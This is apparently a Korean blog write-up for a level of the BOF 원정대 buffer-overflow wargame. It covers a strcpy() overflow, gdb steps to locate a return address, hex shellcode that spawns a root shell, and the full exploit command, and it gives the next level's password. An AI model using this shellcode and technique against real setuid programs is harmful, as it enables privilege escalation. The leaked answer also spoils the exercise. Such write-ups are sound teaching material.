1. 취약점
버퍼 오버플로우에 취약한 함수 strcpy() 사용
근데 버퍼의 크기가 16byte ㅠㅠ 쉘 코드가 41byte라서 Return Address까지 다 덮어버려서
Level 1때의 단순한 방법으로는 접근하기 힘들다. 따라서 *argv[]를 적극 활용하여 쉘코드를 로드하자
2. Exploit
1. bash2를 사용하고 cobolt.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다
$ bash2
$ cp cobolt.c /tmp/cobolt.c && cd /tmp
2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 cobolt으로 해야지 메모리 주소가 동일하게 컴파일된다.
$ cd ./test
$ gcc -g -o cobolt cobolt.c
3. gdb로 디버깅을 시작한다.
$ gdb -q ./cobolt
4. 어셈블리로 취약점이 있는 코드를 보자
(gdb) disas main
argv를 활용할테니까 초기 상태에서 중단점을 설정하자
5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..
(gdb) b *main+3
(gdb) r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'`
(gdb) x/120x $esp
r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'` 로 수행하는 이유는
우선 버퍼를 넘치게해서 Return Address까지 접근하는데 20(dummy) + 4(new Return Address)
그 후 쉘코드를 수행하는데 쉘코드가 41byte이므로 최소 42byte 이상이 존재해야 하므로
20(nop) + 41(Shell code) 새로운 return 주소는 빨간 네모중 0xbffffc30으로 선정하였다
6. 쉘코드를 만들거나 웹에서 주어온다♥
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다.
이 때 buffer를 20byte로 채우고 Return Address는 0xbffffc30로 선택
7. 괴.. 괴롭혀 주겠다...
(gdb) q
$ cd ~
$ ./cobolt `perl -e 'print "A"x20, "\x30\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
8. 결과
id : cobolt
passwd : hacking exposed
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (wolfman -> darkelf) (0) | 2016.10.07 |
---|---|
[버퍼 오버플로우] Bof 원정대 (orc -> wolfman) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (goblin -> orc) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (cobolt -> goblin) (0) | 2016.10.04 |
[버퍼 오버플로우] Bof 원정대 (gate -> gremlin) (0) | 2016.10.03 |